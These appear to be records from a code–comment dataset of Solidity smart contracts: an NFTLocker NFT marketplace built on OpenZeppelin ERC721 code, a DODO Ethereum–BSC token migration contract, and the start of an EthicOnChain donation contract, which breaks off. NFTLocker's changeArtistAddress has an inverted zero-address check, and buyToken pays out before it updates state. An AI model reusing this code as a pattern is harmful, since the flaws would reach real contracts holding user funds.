} catch (bytes memory reason) {
if (reason.length == 0) {
revert(
"ERC721: transfer to non ERC721Receiver implementer"
);
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
// File: @openzeppelin/contracts/token/ERC721/extensions/ERC721URIStorage.sol
pragma solidity ^0.8.0;
/**
* @dev ERC721 token with storage based token URI management.
*/
abstract contract ERC721URIStorage is ERC721 {
using Strings for uint256;
// Optional mapping for token URIs
mapping(uint256 => string) private _tokenURIs;
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
require(
_exists(tokenId),
"ERC721URIStorage: URI query for nonexistent token"
);
string memory _tokenURI = _tokenURIs[tokenId];
string memory base = _baseURI();
// If there is no base URI, return the token URI.
if (bytes(base).length == 0) {
return _tokenURI;
}
// If both are set, concatenate the baseURI and tokenURI (via abi.encodePacked).
if (bytes(_tokenURI).length > 0) {
return string(abi.encodePacked(base, _tokenURI));
}
return super.tokenURI(tokenId);
}
/**
* @dev Sets `_tokenURI` as the tokenURI of `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _setTokenURI(uint256 tokenId, string memory _tokenURI)
internal
virtual
{
require(
_exists(tokenId),
"ERC721URIStorage: URI set of nonexistent token"
);
_tokenURIs[tokenId] = _tokenURI;
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual override {
super._burn(tokenId);
if (bytes(_tokenURIs[tokenId]).length != 0) {
delete _tokenURIs[tokenId];
}
}
}
// File: @openzeppelin/contracts/security/Pausable.sol
pragma solidity ^0.8.0;
/**
* @dev Contract module which allows children to implement an emergency stop
* mechanism that can be triggered by an authorized account.
*
* This module is used through inheritance. It will make available the
* modifiers `whenNotPaused` and `whenPaused`, which can be applied to
* the functions of your contract. Note that they will not be pausable by
* simply including this module, only once the modifiers are put in place.
*/
abstract contract Pausable is Context {
/**
* @dev Emitted when the pause is triggered by `account`.
*/
event Paused(address account);
/**
* @dev Emitted when the pause is lifted by `account`.
*/
event Unpaused(address account);
bool private _paused;
/**
* @dev Initializes the contract in unpaused state.
*/
constructor() {
_paused = false;
}
/**
* @dev Returns true if the contract is paused, and false otherwise.
*/
function paused() public view virtual returns (bool) {
return _paused;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*
* Requirements:
*
* - The contract must not be paused.
*/
modifier whenNotPaused() {
require(!paused(), "Pausable: paused");
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*
* Requirements:
*
* - The contract must be paused.
*/
modifier whenPaused() {
require(paused(), "Pausable: not paused");
_;
}
/**
* @dev Triggers stopped state.
*
* Requirements:
*
* - The contract must not be paused.
*/
function _pause() internal virtual whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
/**
* @dev Returns to normal state.
*
* Requirements:
*
* - The contract must be paused.
*/
function _unpause() internal virtual whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
}
// File: @openzeppelin/contracts/access/Ownable.sol
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(
newOwner != address(0),
"Ownable: new owner is the zero address"
);
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// File: @openzeppelin/contracts/token/ERC721/extensions/ERC721Burnable.sol
pragma solidity ^0.8.0;
/**
* @title ERC721 Burnable Token
* @dev ERC721 Token that can be irreversibly burned (destroyed).
*/
abstract contract ERC721Burnable is Context, ERC721 {
/**
* @dev Burns `tokenId`. See {ERC721-_burn}.
*
* Requirements:
*
* - The caller must own `tokenId` or be an approved operator.
*/
function burn(uint256 tokenId) public virtual {
//solhint-disable-next-line max-line-length
require(
_isApprovedOrOwner(_msgSender(), tokenId),
"ERC721Burnable: caller is not owner nor approved"
);
_burn(tokenId);
}
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index)
external
view
returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// File: @openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol
pragma solidity ^0.8.0;
/**
* @dev This implements an optional extension of {ERC721} defined in the EIP that adds
* enumerability of all the token ids in the contract as well as all token ids owned by each
* account.
*/
abstract contract ERC721Enumerable is ERC721, IERC721Enumerable {
// Mapping from owner to list of owned token IDs
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(IERC165, ERC721)
returns (bool)
{
return
interfaceId == type(IERC721Enumerable).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index)
public
view
virtual
override
returns (uint256)
{
require(
index < ERC721.balanceOf(owner),
"ERC721Enumerable: owner index out of bounds"
);
return _ownedTokens[owner][index];
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _allTokens.length;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index)
public
view
virtual
override
returns (uint256)
{
require(
index < ERC721Enumerable.totalSupply(),
"ERC721Enumerable: global index out of bounds"
);
return _allTokens[index];
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
if (from == address(0)) {
_addTokenToAllTokensEnumeration(tokenId);
} else if (from != to) {
_removeTokenFromOwnerEnumeration(from, tokenId);
}
if (to == address(0)) {
_removeTokenFromAllTokensEnumeration(tokenId);
} else if (to != from) {
_addTokenToOwnerEnumeration(to, tokenId);
}
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
uint256 length = ERC721.balanceOf(to);
_ownedTokens[to][length] = tokenId;
_ownedTokensIndex[tokenId] = length;
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
* while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId)
private
{
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = ERC721.balanceOf(from) - 1;
uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
delete _ownedTokensIndex[tokenId];
delete _ownedTokens[from][lastTokenIndex];
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _allTokens.length - 1;
uint256 tokenIndex = _allTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
// rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
delete _allTokensIndex[tokenId];
_allTokens.pop();
}
}
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC1271 standard signature validation method for
* contracts as defined in https://eips.ethereum.org/EIPS/eip-1271[ERC-1271].
*
* _Available since v4.1._
*/
interface IERC1271 {
/**
* @dev Should return whether the signature provided is valid for the provided data
* @param hash Hash of the data to be signed
* @param signature Signature byte array associated with _data
*/
function isValidSignature(bytes32 hash, bytes memory signature)
external
view
returns (bytes4 magicValue);
}
pragma solidity ^0.8.0;
// NFTLocker smart contract inherits ERC721 interface
contract NFTLocker is
ERC721,
ERC721Enumerable,
ERC721URIStorage,
Pausable,
Ownable,
ERC721Burnable
{
// using Counters for Counters.Counter;
using SafeMath for uint256;
// this contract's token collection name
string public collectionName;
// this contract's token symbol
string public collectionNameSymbol;
// Counters.Counter private _tokenIds;
// artist address
address public artistAddress = 0x0fbcc5C7f6692Dde7EBAa65508c61fd49F831Ab3;
// royaltyFee percentage
uint256 public constant royaltyFee = 10;
uint256 public NFTCounter;
using Strings for uint256;
// Optional mapping for token URIs
mapping(uint256 => string) private _tokenURIs;
// Base URI
string private _baseURIextended;
// define Door NFT struct
struct DoorNFT {
bool forSale;
uint256 tokenId;
uint256 price;
uint256 numberOfTransfers;
string tokenName;
string tokenURI;
address payable previousOwner;
address payable currentOwner;
}
// map doorNFT's token id to Door NFT
mapping(uint256 => DoorNFT) public allDoorNFTs;
// check if token name exists
mapping(string => bool) public tokenNameExists;
// check if token URI exists
mapping(string => bool) public tokenURIExists;
// initialize contract while deployment with contract's collection name and token
constructor() ERC721("NFTLocker", "NFTL") {
collectionName = name();
collectionNameSymbol = symbol();
}
// event definitions go here
event Mint(address indexed _from, uint256 _id, uint256 _value);
event Sales(address indexed _from, address indexed _to, uint256 _value);
event PriceChange(uint256 _tokenId, uint256 _prevPrice, uint256 _newPrice);
event SalesChange(uint256 _tokenId, bool _isOpened);
event RoyaltyPay(address indexed _from, address indexed _to, uint256 _value);
// mint a new Door NFT
function mintDoorNFT(
string memory _name,
string memory _tokenURI,
uint256 _price
) external onlyOwner {
// require caller of the function is not an empty address
require(msg.sender != address(0));
// increase the NFT counter
NFTCounter++;
// check if tokenID already exists
require(!_exists(NFTCounter));
// check if tokenURI already exists
require(!tokenURIExists[_tokenURI]);
// check if tokenName already exists
require(!tokenNameExists[_name]);
// _tokenIds.increment();
// uint256 NFTCounter = _tokenIds.current();
// Mint
_safeMint(msg.sender, NFTCounter);
_setTokenURI(NFTCounter, _tokenURI);
tokenURIExists[_tokenURI] = true;
tokenNameExists[_name] = true;
// map new DoorNFT
allDoorNFTs[NFTCounter] = DoorNFT({
forSale: false,
tokenId: NFTCounter,
price: _price,
numberOfTransfers: 0,
tokenName: _name,
tokenURI: _tokenURI,
previousOwner: payable(msg.sender),
currentOwner: payable(msg.sender)
});
// emit mint event
emit Mint(msg.sender, NFTCounter, _price);
}
// withdraw value
function _widthdraw(address _address, uint256 _amount) private {
(bool success, ) = _address.call{value: _amount}("");
require(success);
}
// get owner of the token
function getTokenOwner(uint256 _tokenId) public view returns (address) {
address _tokenOwner = ownerOf(_tokenId);
return _tokenOwner;
}
// get metadata of the token
function getTokenMetaData(uint256 _tokenId)
public
view
returns (string memory)
{
string memory tokenMetaData = tokenURI(_tokenId);
return tokenMetaData;
}
// get token price
function getTokenPrice(uint256 _tokenId) external view returns (uint256) {
DoorNFT memory doorNFT = allDoorNFTs[_tokenId];
return doorNFT.price;
}
// get total number of tokens minted so far
function getNumberOfTokensMinted() public view returns (uint256) {
uint256 totalNumberOfTokensMinted = totalSupply();
return totalNumberOfTokensMinted;
}
// get total number of tokens owned by an address
function getTotalNumberOfTokensOwnedByAnAddress(address _owner)
public
view
returns (uint256)
{
uint256 totalNumberOfTokensOwned = balanceOf(_owner);
return totalNumberOfTokensOwned;
}
// check if the token already exists
function getTokenExists(uint256 _tokenId) public view returns (bool) {
bool tokenExists = _exists(_tokenId);
return tokenExists;
}
// get token info by token id
function getTokenInfo(uint256 _tokenId) public view returns (DoorNFT memory){
require(_exists(_tokenId));
return allDoorNFTs[_tokenId];
}
// buy a token by passing in the token's id
function buyToken(uint256 _tokenId) public payable {
// require caller of the function is not an empty address
require(msg.sender != address(0));
// require _tokenId already exists
require(_exists(_tokenId));
address tokenOwner = ownerOf(_tokenId);
// require token owner is not an empty address
require(tokenOwner != address(0));
// require token owner is not sender
require(tokenOwner != msg.sender);
// get that token from all Door NFTs mapping and create a memory of it defined as (struct => DoorNFT)
DoorNFT memory doorNFT = allDoorNFTs[_tokenId];
// price sent in to buy should be equal to or more than the token's price
require(msg.value >= doorNFT.price);
// token should be for sale
require(doorNFT.forSale);
// transfer the token from owner to the caller of the function (buyer)
_transfer(tokenOwner, msg.sender, _tokenId);
// get owner of the token
address payable sendTo = doorNFT.currentOwner;
// send token's worth of ethers to the owner and artist
uint256 fee = msg.value.div(100).mul(royaltyFee);
uint256 value = msg.value.sub(fee);
sendTo.transfer(value);
_widthdraw(artistAddress, fee);
// emit royalty paid event
emit RoyaltyPay(msg.sender, artistAddress, fee);
// update the token's prev owner
doorNFT.previousOwner = sendTo;
// update the token's current owner
doorNFT.currentOwner = payable(msg.sender);
// update the how many times this token was transfered
doorNFT.numberOfTransfers += 1;
// lock the NFT for sale
doorNFT.forSale = false;
// set and update that token in the mapping
allDoorNFTs[_tokenId] = doorNFT;
// emit Transfer event when successful
emit Sales(doorNFT.previousOwner, doorNFT.currentOwner, msg.value);
}
// set artist account address
function changeArtistAddress(address _artist) public onlyOwner {
// require caller of the function is not an empty address
require(_artist == address(0));
artistAddress = _artist;
}
// change NFT price
function changeTokenPrice(uint256 _tokenId, uint256 _newPrice) public {
// require caller of the function is not an empty address
require(msg.sender != address(0));
// require that token should exist
require(_exists(_tokenId));
// get the token's owner
address tokenOwner = ownerOf(_tokenId);
// check that token's owner should be equal to the caller of the function
require(tokenOwner == msg.sender);
// get that token from all Door NFTs mapping and create a memory of it defined as (struct => DoorNFT)
DoorNFT memory doorNFT = allDoorNFTs[_tokenId];
uint256 prevPrice = doorNFT.price;
// update token's price with new price
doorNFT.price = _newPrice;
// set and update that token in the mapping
allDoorNFTs[_tokenId] = doorNFT;
// emit event
emit PriceChange(_tokenId, prevPrice, _newPrice);
}
// switch between set for sale and set not for sale
function toggleForSale(uint256 _tokenId, bool _isOpened) public {
// require caller of the function is not an empty address
require(msg.sender != address(0));
// require that token should exist
require(_exists(_tokenId));
// get the token's owner
address tokenOwner = ownerOf(_tokenId);
// check that token's owner should be equal to the caller of the function
require(tokenOwner == msg.sender);
// get that token from all Door NFTs mapping and create a memory of it defined as (struct => DoorNFT)
DoorNFT memory doorNFT = allDoorNFTs[_tokenId];
// set token's forSale
doorNFT.forSale = _isOpened;
// set and update that token in the mapping
allDoorNFTs[_tokenId] = doorNFT;
// emit event
emit SalesChange(_tokenId, doorNFT.forSale);
}
// following functions must be override by solidity
function _beforeTokenTransfer(
address _from,
address _to,
uint256 _tokenId
) internal override(ERC721, ERC721Enumerable) {
super._beforeTokenTransfer(_from, _to, _tokenId);
}
function _burn(uint256 _tokenId)
internal
override(ERC721, ERC721URIStorage)
{
super._burn(_tokenId);
}
function tokenURI(uint256 _tokenId)
public
view
override(ERC721, ERC721URIStorage)
returns (string memory)
{
return super.tokenURI(_tokenId);
}
function supportsInterface(bytes4 _interfaceId)
public
view
override(ERC721, ERC721Enumerable)
returns (bool)
{
return super.supportsInterface(_interfaceId);
}
}
|
get total number of tokens owned by an address
|
function getTotalNumberOfTokensOwnedByAnAddress(address _owner)
public
view
returns (uint256)
{
uint256 totalNumberOfTokensOwned = balanceOf(_owner);
return totalNumberOfTokensOwned;
}
| 5,842,591
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// File: contracts/intf/IERC20.sol
// This is a file copied from https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC20/IERC20.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.6.9;
pragma experimental ABIEncoderV2;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
}
// File: contracts/lib/SafeMath.sol
/**
* @title SafeMath
* @author DODO Breeder
*
* @notice Math operations with safety checks that revert on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "MUL_ERROR");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "DIVIDING_ERROR");
return a / b;
}
function divCeil(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 quotient = div(a, b);
uint256 remainder = a - quotient * b;
if (remainder > 0) {
return quotient + 1;
} else {
return quotient;
}
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SUB_ERROR");
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "ADD_ERROR");
return c;
}
function sqrt(uint256 x) internal pure returns (uint256 y) {
uint256 z = x / 2 + 1;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
}
// File: contracts/lib/InitializableOwnable.sol
/**
* @title Ownable
* @author DODO Breeder
*
* @notice Ownership related functions
*/
contract InitializableOwnable {
address public _OWNER_;
address public _NEW_OWNER_;
bool internal _INITIALIZED_;
// ============ Events ============
event OwnershipTransferPrepared(address indexed previousOwner, address indexed newOwner);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
// ============ Modifiers ============
modifier notInitialized() {
require(!_INITIALIZED_, "DODO_INITIALIZED");
_;
}
modifier onlyOwner() {
require(msg.sender == _OWNER_, "NOT_OWNER");
_;
}
// ============ Functions ============
function initOwner(address newOwner) public notInitialized {
_INITIALIZED_ = true;
_OWNER_ = newOwner;
}
function transferOwnership(address newOwner) public onlyOwner {
emit OwnershipTransferPrepared(_OWNER_, newOwner);
_NEW_OWNER_ = newOwner;
}
function claimOwnership() public {
require(msg.sender == _NEW_OWNER_, "INVALID_CLAIM");
emit OwnershipTransferred(_OWNER_, _NEW_OWNER_);
_OWNER_ = _NEW_OWNER_;
_NEW_OWNER_ = address(0);
}
}
// File: contracts/intf/IDODOApprove.sol
interface IDODOApprove {
function claimTokens(address token,address who,address dest,uint256 amount) external;
function getDODOProxy() external view returns (address);
}
// File: contracts/SmartRoute/DODOApproveProxy.sol
interface IDODOApproveProxy {
function isAllowedProxy(address _proxy) external view returns (bool);
function claimTokens(address token,address who,address dest,uint256 amount) external;
}
/**
* @title DODOApproveProxy
* @author DODO Breeder
*
* @notice Allow different version dodoproxy to claim from DODOApprove
*/
contract DODOApproveProxy is InitializableOwnable {
// ============ Storage ============
uint256 private constant _TIMELOCK_DURATION_ = 3 days;
mapping (address => bool) public _IS_ALLOWED_PROXY_;
uint256 public _TIMELOCK_;
address public _PENDING_ADD_DODO_PROXY_;
address public immutable _DODO_APPROVE_;
// ============ Modifiers ============
modifier notLocked() {
require(
_TIMELOCK_ <= block.timestamp,
"SetProxy is timelocked"
);
_;
}
constructor(address dodoApporve) public {
_DODO_APPROVE_ = dodoApporve;
}
function init(address owner, address[] memory proxies) external {
initOwner(owner);
for(uint i = 0; i < proxies.length; i++)
_IS_ALLOWED_PROXY_[proxies[i]] = true;
}
function unlockAddProxy(address newDodoProxy) public onlyOwner {
_TIMELOCK_ = block.timestamp + _TIMELOCK_DURATION_;
_PENDING_ADD_DODO_PROXY_ = newDodoProxy;
}
function lockAddProxy() public onlyOwner {
_PENDING_ADD_DODO_PROXY_ = address(0);
_TIMELOCK_ = 0;
}
function addDODOProxy() external onlyOwner notLocked() {
_IS_ALLOWED_PROXY_[_PENDING_ADD_DODO_PROXY_] = true;
lockAddProxy();
}
function removeDODOProxy (address oldDodoProxy) public onlyOwner {
_IS_ALLOWED_PROXY_[oldDodoProxy] = false;
}
function claimTokens(
address token,
address who,
address dest,
uint256 amount
) external {
require(_IS_ALLOWED_PROXY_[msg.sender], "DODOApproveProxy:Access restricted");
IDODOApprove(_DODO_APPROVE_).claimTokens(
token,
who,
dest,
amount
);
}
function isAllowedProxy(address _proxy) external view returns (bool) {
return _IS_ALLOWED_PROXY_[_proxy];
}
}
// File: contracts/DODOToken/DODOMigrationBSC.sol
/**
* @title DODOMigration between Ethereum and BSC
* @author DODO Breeder
*/
contract DODOMigrationBSC is InitializableOwnable {
using SafeMath for uint256;
// ============ Storage ============
address public immutable _ETH_DODO_TOKEN_;
address public immutable _DODO_APPROVE_PROXY_;
mapping(address => uint256) internal balances;
constructor(address ethDodoToken, address dodoApproveProxy) public {
_ETH_DODO_TOKEN_ = ethDodoToken;
_DODO_APPROVE_PROXY_ = dodoApproveProxy;
}
// ============ Events ============
event Lock(address indexed sender, address indexed mintToBscAccount, uint256 amount);
event Unlock(address indexed to, uint256 amount);
// ============ Functions ============
function lock(uint256 amount, address mintToBscAccount) external {
IDODOApproveProxy(_DODO_APPROVE_PROXY_).claimTokens(
_ETH_DODO_TOKEN_,
msg.sender,
address(this),
amount
);
balances[msg.sender] = balances[msg.sender].add(amount);
emit Lock(msg.sender, mintToBscAccount, amount);
}
function unlock(address unlockTo, uint256 amount) external onlyOwner {
require(balances[unlockTo] >= amount);
balances[unlockTo] = balances[unlockTo].sub(amount);
IERC20(_ETH_DODO_TOKEN_).transfer(unlockTo, amount);
emit Unlock(unlockTo, amount);
}
}
|
* @title DODOMigration between Ethereum and BSC @author DODO Breeder/ ============ Storage ============
|
contract DODOMigrationBSC is InitializableOwnable {
using SafeMath for uint256;
address public immutable _ETH_DODO_TOKEN_;
address public immutable _DODO_APPROVE_PROXY_;
mapping(address => uint256) internal balances;
constructor(address ethDodoToken, address dodoApproveProxy) public {
_ETH_DODO_TOKEN_ = ethDodoToken;
_DODO_APPROVE_PROXY_ = dodoApproveProxy;
}
event Lock(address indexed sender, address indexed mintToBscAccount, uint256 amount);
event Unlock(address indexed to, uint256 amount);
function lock(uint256 amount, address mintToBscAccount) external {
IDODOApproveProxy(_DODO_APPROVE_PROXY_).claimTokens(
_ETH_DODO_TOKEN_,
msg.sender,
address(this),
amount
);
balances[msg.sender] = balances[msg.sender].add(amount);
emit Lock(msg.sender, mintToBscAccount, amount);
}
function unlock(address unlockTo, uint256 amount) external onlyOwner {
require(balances[unlockTo] >= amount);
balances[unlockTo] = balances[unlockTo].sub(amount);
IERC20(_ETH_DODO_TOKEN_).transfer(unlockTo, amount);
emit Unlock(unlockTo, amount);
}
}
| 13,932,332
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// SPDX-License-Identifier: MIT
pragma solidity 0.8.11;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "./EthicOnChainLib.sol";
/// @title EthicOnChain
/// @author Lahcen E. Dev / Jérôme Gauthier
/// @notice EthicOnChain contract to manage NPOs, Projects and Donors
contract EthicOnChain is Ownable {
// NPOs
mapping (address => EthicOnChainLib.NPO) public npoAddresses; //Mapping of all NPO
mapping (uint => address) private npoMap;
uint private npoCount;
// Donors
mapping (address => EthicOnChainLib.Donor) public donorAddresses; //Mapping of all donors
mapping (uint => address) private donorMap;
uint private donorCount;
// Projects
mapping (uint => EthicOnChainLib.Project) projectMap;
uint projectCount;
// Donations
mapping (uint => EthicOnChainLib.Donation) private donationMap;
uint private donationCount;
// Withdrawal Informations
mapping (uint => EthicOnChainLib.Withdrawal) private withdrawalMap;
uint private withdrawalCount;
// EOC Token address
address eocTokenAddress;
event NpoAdded(uint _poId, address _npoErc20Address, string _denomination);
event DonorAdded(uint _donorId, address _donorErc20Address, string _donorName);
event ProjectAdded(uint _projectId, string _title, uint _startDate, uint _endDate, uint _minAmount, uint _maxAmount);
event DonationAdded(uint _donationId, uint _projectId, uint _donorId, uint _donationDate, uint donationAmount);
event TokensWithdrawn(uint _withdrawalId ,uint _projectId, uint _amount, address _addressRecipent);
/// @dev Initialise the deployed EOC token address for swap
/// @param _eocTokenAddress EOC Token address
constructor(address _eocTokenAddress) {
eocTokenAddress = _eocTokenAddress;
}
/// @dev The administrator can add a new NPO
/// @param _npoErc20Address the ERC20 address of the npo
/// @param _denomination Demonination of the NPO
/// @param _postalAddress Postal address of the NPO
/// @param _object object of NPO
/// @param _npoType Type of npo organization
function addNpo(
address _npoErc20Address,
string memory _denomination,
string memory _postalAddress,
string memory _object,
string memory _npoType) public onlyOwner {
// Mandatory fields
require(_npoErc20Address > address(0), unicode"L'adresse du NPO doit être différente de zéro");
require(bytes(_denomination).length > 0, unicode"La dénomination est obligatoire");
require(bytes(_postalAddress).length > 0, "L'adresse est obligatoire");
require(bytes(_object).length > 0, "L'objet est obligatoire");
require(bytes(_npoType).length > 0, "Le type est obligatoire");
require(bytes(npoAddresses[_npoErc20Address].denomination).length == 0, unicode"NPO déjà enregistré");
EthicOnChainLib.NPO storage newNpo = npoAddresses[_npoErc20Address];
newNpo.npoId = npoCount;
newNpo.npoErc20Address = _npoErc20Address;
newNpo.denomination = _denomination;
newNpo.postalAddress = _postalAddress;
newNpo.object = _object;
newNpo.npoType = _npoType;
npoMap[npoCount] = _npoErc20Address;
npoCount++;
emit NpoAdded(newNpo.npoId, _npoErc20Address, _denomination);
}
/// @dev The administrator/contract can add a new Donor
/// @param _donorErc20Address ERC20 address of the donor
/// @param _name Name of the Donor
/// @param _surName Surname of the Donor
